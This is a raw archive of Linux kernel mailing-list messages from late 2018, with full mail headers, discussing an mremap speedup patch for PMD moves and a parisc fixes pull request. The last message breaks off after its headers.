X-Gm-Message-State: AGRZ1gJFtK8NHE+AuQV9h+Zgu0pXjbgJDMST71s8EII4QFQ72NpEswE+
 QAk67jMcFvxwcVy9j/BQYic=
X-Google-Smtp-Source: AJdET5fu0DqTEYAGDBSaxsVyd0K3i3CEEiTSqETAuxd4rlFGA5L/e1X97o5DIUSGPTfJJWdGWN6dQw==
X-Received: by 2002:a63:181:: with SMTP id
 123-v6mr11570471pgb.149.1540766407194; 
 Sun, 28 Oct 2018 15:40:07 -0700 (PDT)
Original-Received: from localhost (14-202-194-140.static.tpgi.com.au. [14.202.194.140])
 by smtp.gmail.com with ESMTPSA id
 t4-v6sm19146464pfb.44.2018.10.28.15.40.05
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Sun, 28 Oct 2018 15:40:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181027193917.GA51131@joelaf.mtv.corp.google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181028_154018_596339_E33E1A99 
X-CRM114-Status: GOOD (  21.31  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:544 listed in] [list.dnswl.org]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (bsingharora[at]gmail.com)
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4629 gmane.linux.ports.mips.general:67202 gmane.linux.ports.ia64:29457 gmane.linux.ports.sh.devel:57704 gmane.linux.kernel.mm:206073 gmane.linux.ports.sparc:28679 gmane.linux.ports.riscv:1240 gmane.comp.emulators.kvm.arm.devel:19602 gmane.linux.ports.hexagon:1969 gmane.linux.ports.parisc:29256 gmane.linux.kernel:2909503 gmane.linux.ports.alpha:5385 gmane.linux.ports.ppc64.devel:164970
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4629>

On Sat, Oct 27, 2018 at 12:39:17PM -0700, Joel Fernandes wrote:
> Hi Balbir,
> 
> On Sat, Oct 27, 2018 at 09:21:02PM +1100, Balbir Singh wrote:
> > On Wed, Oct 24, 2018 at 07:13:50PM -0700, Joel Fernandes wrote:
> > > On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
> > > [...]
> > > > > > +		pmd_t pmd;
> > > > > > +
> > > > > > +		new_ptl = pmd_lockptr(mm, new_pmd);
> > > > 
> > > > 
> > > > Looks like this is largely inspired by move_huge_pmd(), I guess a lot of
> > > > the code applies, why not just reuse as much as possible? The same comments
> > > > w.r.t mmap_sem helping protect against lock order issues applies as well.
> > > 
> > > I thought about this and when I looked into it, it seemed there are subtle
> > > differences that make such sharing not worth it (or not possible).
> > >
> > 
> > Could you elaborate on them?
> 
> The move_huge_page function is defined only for CONFIG_TRANSPARENT_HUGEPAGE
> so we cannot reuse it to begin with, since we have it disabled on our
> systems. I am not sure if it is a good idea to split that out and refactor it
> for reuse especially since our case is quite simple compared to huge pages.
> 
> There are also a couple of subtle differences between the move_normal_pmd and
> the move_huge_pmd. Atleast 2 of them are:
> 
> 1. We don't concern ourself with the PMD dirty bit, since the pages being
> moved are normal pages and at the soft-dirty bit accounting is at the PTE
> level, since we are not moving PTEs, we don't need to do that.
> 
> 2. The locking is simpler as Kirill pointed, pmd_lock cannot fail however
> __pmd_trans_huge_lock can.
> 
> I feel it is not super useful to refactor move_huge_pmd to support our case
> especially since move_normal_pmd is quite small, so IMHO the benefit of code
> reuse isn't there very much.
>

My big concern is that any bug fixes will need to monitor both paths.
Do you see a big overhead in checking the soft dirty bit? The locking is
a little different. Having said that, I am not strictly opposed to the
extra code, just concerned about missing fixes/updates as we find them.
 
> Do let me know your thoughts and thanks for your interest in this.
> 
>

Balbir Singh. 

From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Mon, 29 Oct 2018 10:28:40 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20181029102840.GC13965@arm.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
 <20181024125724.yf6frdimjulf35do@kshutemo-mobl1>
 <20181025020907.GA13560@joelaf.mtv.corp.google.com>
 <20181025101900.phqnqpoju5t2gar5@kshutemo-mobl1>
 <20181026211148.GA140716@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540808812 28360 195.159.176.226 (29 Oct 2018 10:26:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 29 Oct 2018 10:26:52 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Balbir Singh <bsingharora@gmail.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, mhocko@kernel.org,
 linux-mm@kvack.org, lokeshgidra@google.com, sparclinux@vger.kernel.org,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 linux-xtensa@linux-xtensa.org, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geer
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Oct 29 11:26:43 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gH4ks-0007BH-Jt
	for gla-linux-snps-arc@m.gmane.org; Mon, 29 Oct 2018 11:26:42 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=Z4ZJjOaGkSMLsPCbjsA6K1hsYkeciqbbOxQnSR9Ysr8=; b=V7ur7xIcY7pSDa
	ksrFbFxKrFnfh1URyDeBbqjibENtVWg+qvGDgR9QhZfWy5HKwwzA3lg8I5ZC2B0uDV3CsdFoU8ASa
	4lJlh0RkwlXxPTe+3ojgSTTZndO8+twJP4WfbA3FuLqkdSXQ/4blaUTWowJfTWChz6Rt9HzfauHlz
	dm1OqRcWHysrfF5Tq41i1wECz/6GH3dECBW/F9yAVkAtVSbgXJhGi5CpcE4z+zLoW5jsSQjGl5D0n
	D3rEKDJyzeUxth+X/1+kAWwfOEPrY5lR/dIRUS+pCik8GnClBr9du6/wl4cIm7X/SGUOG/hKlWVza
	eFmp9IREL6Wo2bmxEn2A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gH4mw-00038t-Or; Mon, 29 Oct 2018 10:28:50 +0000
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]
 helo=foss.arm.com)
 by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gH4ms-00036C-R3; Mon, 29 Oct 2018 10:28:48 +0000
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id C39E2341;
 Mon, 29 Oct 2018 03:28:33 -0700 (PDT)
Original-Received: from edgewater-inn.cambridge.arm.com
 (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 914343F6A8;
 Mon, 29 Oct 2018 03:28:33 -0700 (PDT)
Original-Received: by edgewater-inn.cambridge.arm.com (Postfix, from userid 1000)
 id 85A251AE0757; Mon, 29 Oct 2018 10:28:40 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20181026211148.GA140716@joelaf.mtv.corp.google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181029_032846_905131_78E062E5 
X-CRM114-Status: GOOD (  14.46  )
X-Spam-Score: -5.0 (-----)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-5.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [217.140.101.70 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4630 gmane.linux.ports.mips.general:67206 gmane.linux.ports.ia64:29458 gmane.linux.ports.sh.devel:57705 gmane.linux.kernel.mm:206084 gmane.linux.ports.sparc:28680 gmane.linux.ports.riscv:1241 gmane.comp.emulators.kvm.arm.devel:19606 gmane.linux.ports.hexagon:1970 gmane.linux.ports.parisc:29257 gmane.linux.kernel:2909770 gmane.linux.ports.alpha:5386 gmane.linux.ports.ppc64.devel:164985
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4630>

On Fri, Oct 26, 2018 at 02:11:48PM -0700, Joel Fernandes wrote:
> My thinking is to take it slow and get the patch in in its current state,
> since it improves x86. Then as a next step, look into why the arm64 tlb
> flushes are that expensive and look into optimizing that. On arm64 I am
> testing on a 4.9 kernel so I'm wondering there are any optimizations since
> 4.9 that can help speed it up there. After that, if all else fails about
> speeding up arm64, then I look into developing the cleanest possible solution
> where we can keep the lock held for longer and flush lesser.

We rewrote a good chunk of the arm64 TLB invalidation and core mmu_gather
code this merge window, so please do have another look at -rc1!

Will

From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for kernel v4.20
Date: Mon, 29 Oct 2018 22:04:47 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20181029210447.GA17383@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1540846976 7752 195.159.176.226 (29 Oct 2018 21:02:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 29 Oct 2018 21:02:56 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 29 22:02:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gHEgU-0000pD-Lx
	for glk-linux-kernel-4@m.gmane.org; Mon, 29 Oct 2018 22:02:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727284AbeJ3FzX (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 30 Oct 2018 01:55:23 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:39215 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726070AbeJ3FzX (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 30 Oct 2018 01:55:23 -0400
Original-Received: from ls3530.fritz.box ([92.116.145.205]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M54L0-1fMeBY0TYk-00zIEt; Mon, 29
 Oct 2018 22:04:50 +0100
Original-Received: from ls3530.fritz.box ([92.116.145.205]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M54L0-1fMeBY0TYk-00zIEt; Mon, 29
 Oct 2018 22:04:50 +0100
Content-Disposition: inline
X-Provags-ID: V03:K1:TPtbL4AcVsdvDM6B+WCRhTIOErF63mXv9gqEdyKwTr9oyy/zaOy
 RfcLQAlKA1FrW9PULefL17NLbMLAHpsDTzs5T5QEYVeXXGXd/J8PZPPuBcQpUPw0tVNCtGd
 i1FxiMUeyEckgCjksu+laeuMK6G/KUIWXuYfRoFIGPwj/l9jYpnFldppU+HBWOJQNVdAIbP
 BIlOhlI9i546EQIGai2FA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:23asvMYnP3Y=:RWYNtVf2pY33leUvQecKRH
 3NgmbwxRlW/oK8gj+joekoIisJQOuynzcjGKLk5t3xrgS8l85/tOBJola07VQ86/1kzCaPtPx
 gZrd+XE5DBWqdu2bQ4NFvfhH/Mn3jjMHBaZZx4Lm5wKv0+leXBKpZ+Iu2l9yi6y7vww9j1Vdi
 AlV0r2AfVmrKyvPway7E3Mom/w45idCKItRmCT/wMcGB6LdLxRDGVY5UVn3lvojk62blVDbXN
 2VF6Os3MyixjQA30rVvRenSnZC+lEUgeb4iWO/rGitTnjKPRAULQufwzsRYmValmuWxOe0IE6
 p8B2oemqOzd0T+S+WwHeG8Uf/qnWH0GjYPssic0O06Eep9fYLNovRoOMZ8rt7cMErcYwrDuiG
 9As/C2OM/vJCcYSpynQGJZJb1cCmtwiMCP8aMWDxQJq2uftPom/4JH+TPpxj29v+eI2hd3Xh+
 rYWkugVZ0IH32T00FuTZ+AbxY+0dQoTxZgzeEM7hwOAb6ZAhsI44yjzcwOaQSGrviZN47BT+I
 kXtVfcJt0rUjxsFKqPSrFjgsMB41uHBKAsyfI0CnIQSRE7Re5Tzk+z8V4YVqEhT9nLU079Fuz
 H46OXskvtLg0ylZJCZerHoWNYy7ESAkyx+iUP7Jnt35S+N/sd3Q/5NcFNWAK3hZwxp/DdJvpL
 vQFQKtFIfawp/RKBg3bPbWYGTSv4NtwF7BDflOdvXnFy2U/eRRWjJvZE+taW/SYkdwT3wIqgw
 jGd5pQBnPZQo3WcbBkHcMrkMQWq4zP+TMBsHbAP5Lo0I2krA8HepCDLV5smPhHY5NbywAW4N 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2910259 gmane.linux.ports.parisc:29258
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2910259>

Hi Linus,

please pull three small patches for the parisc architecture for 4.20-rc1 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.20-2

Three small patches:

- A boot fix for A500 machines, crash was caused by the new alternative
  patching code from this merge window (by Dave)
- Change __kernel_suseconds_t to match glibc on 64-bit parisc (by Arnd)
- Use constants instead of hard-coded numbers (by me)

Thanks,
Helge

----------------------------------------------------------------
Arnd Bergmann (1):
      parisc64: change __kernel_suseconds_t to match glibc

Helge Deller (1):
      parisc: Use LINUX_GATEWAY_SPACE constant in entry.S

John David Anglin (1):
      parisc: Fix A500 boot crash

 arch/parisc/include/uapi/asm/posix_types.h |  3 ---
 arch/parisc/kernel/entry.S                 |  5 +++--
 arch/parisc/mm/init.c                      | 10 ++++------
 3 files changed, 7 insertions(+), 11 deletions(-)


From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture fixes for kernel v4.20
Date: Mon, 29 Oct 2018 15:03:56 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <CAHk-=wi8-RRjYP5DxKUuv5LEwaA=JDvBiO=u8aS43_fzypEu1g@mail.gmail.com>
References: <20181029210447.GA17383@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1540850531 12339 195.159.176.226 (29 Oct 2018 22:02:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 29 Oct 2018 22:02:11 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-parisc@vger.kernel.org,
        James.Bottomley@hansenpartnership.com, dave.anglin@bell.net
To: deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 29 23:02:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gHFbq-0002b7-RG
	for glk-linux-kernel-4@m.gmane.org; Mon, 29 Oct 2018 23:02:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728229AbeJ3Gyw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 30 Oct 2018 02:54:52 -0400
Original-Received: from mail-lf1-f67.google.com ([209.85.167.67]:35615 "EHLO
        mail-lf1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727749AbeJ3Gyw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 30 Oct 2018 02:54:52 -0400
Original-Received: by mail-lf1-f67.google.com with SMTP id d7-v6so7310294lfi.2
        for <linux-kernel@vger.kernel.org>; Mon, 29 Oct 2018 15:04:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=G06dLr6ZeQRlZGxeF8Z/TkYMOP3PM6ct4qfaQVsETvI=;
        b=bamSEz4AEJqqllLkpZ08ZUeZDA3gutcV+4Kv8g7MnenjuWULpOabSpd3f7q8yuVx/m
         7/9QTTMsXFN+vSMD8kGOHb136xQDx7NPOHMeKi87E/0gY8cuVNpQRsJ5frStVWol0ZvX
         CNsOabmKxt9FiLMeAY1znVj4MK8zicZKNTO3A=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=G06dLr6ZeQRlZGxeF8Z/TkYMOP3PM6ct4qfaQVsETvI=;
        b=J8KnXtjQQ2MUTrZQDRNTg0VGlney6Nh0l4ixy89fd4GxHr1PR54xeQ3pg9/DOCY0CM
         HFmzU6Vt6PO9jvnvlcyHvrw/i855hZHQIknTdYCPBprMuNc707SKB/jkAP037zsupshS
         xTzLyxfsobknlIbv+er26URuIxgxtFtIZz7j/2qWgc55f4J6pppatU+7wPpZUHswVawK
         r7IKsxdifFT8fbCg+Ef1paH7s8yVrjrGnYj4w3Xmv6i6T7F7HylLPkcCnfkhZMqnGxIK
         tvFht6wQ0jGAXOM8Z0105YSL+UqAii1+eKJj9Dyj6w5vsTWID/sKeLmG2j+Fz+rFndmh
         AfxA==
X-Gm-Message-State: AGRZ1gKkmExzjz5KY6zO4XRl56aRIF7tJI0XKUvWA0LkiVZ1zBdUjBKg
        Pg/OMzElo3Xcj49FAKMS4xs0rFfJVGkTxg==
X-Google-Smtp-Source: AJdET5dCXGhZHqb/g8ZrfGYFXF3LL1tC/Ih1z7bGkYAJu5NUySmyzlQwYxMuFTTMRhWvUgfRvcxS8Q==
X-Received: by 2002:a19:1365:: with SMTP id j98mr273728lfi.55.1540850653984;
        Mon, 29 Oct 2018 15:04:13 -0700 (PDT)
Original-Received: from mail-lj1-f170.google.com (mail-lj1-f170.google.com. [209.85.208.170])
        by smtp.gmail.com with ESMTPSA id o2-v6sm854983lfl.2.2018.10.29.15.04.12
        for <linux-kernel@vger.kernel.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 29 Oct 2018 15:04:13 -0700 (PDT)
Original-Received: by mail-lj1-f170.google.com with SMTP id k11-v6so9401859lja.5
        for <linux-kernel@vger.kernel.org>; Mon, 29 Oct 2018 15:04:12 -0700 (PDT)
X-Received: by 2002:a2e:7f14:: with SMTP id a20-v6mr10307297ljd.148.1540850652473;
 Mon, 29 Oct 2018 15:04:12 -0700 (PDT)
In-Reply-To: <20181029210447.GA17383@ls3530.fritz.box>
X-Gmail-Original-Message-ID: <CAHk-=wi8-RRjYP5DxKUuv5LEwaA=JDvBiO=u8aS43_fzypEu1g@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2910299 gmane.linux.ports.parisc:29259
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2910299>

On Mon, Oct 29, 2018 at 2:04 PM Helge Deller <deller@gmx.de> wrote:
>
> Three small patches:

Pulled,

                  Linus


From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next 3/3] mm: select HAVE_MOVE_PMD in x86 for faster mremap
Date: Fri,  2 Nov 2018 21:00:41 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20181103040041.7085-4-joelaf@google.com>
References: <20181103040041.7085-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541217543 15537 195.159.176.226 (3 Nov 2018 03:59:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 03:59:03 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.i
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 04:58:54 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gIn5I-0003oF-LP
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 04:58:53 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=XxYwFUxUDdGeiZO8lfXDcHbfR5Xmp0K2T4Rf/utac9k=; b=STSaUwfLFQteAU
	oStYjmnTTbKrm1O8Go5z3YJn8nTfj+Jmya/oavcWpxQuyhS1j0NYnKp3Y4o8h3jGhLgZVnCgZPgpZ
	TCgnuv7iXDhr0Wi5/nLgurPqhlVNKCvLa9x7OtiEbUPi5j37d41fBYqFOTo/0d4QVmghJRsqlr9ZW
	48hS173pCvcU/qtRwIUqHjE6HwuR1RW6sOfEFx83jzVb16ZOIZAGC9eri3AgEaBfjOCWoiRJ3ZHAQ
	CcohUOjU/JUMhQTnExB5ezJPf8znWpQO6AdqA2ttAa2jmuYyockY0FJ9czay1HROWjDHMvhXSKFSu
	tytKOQa+T0OLz7BLyhrQ==;
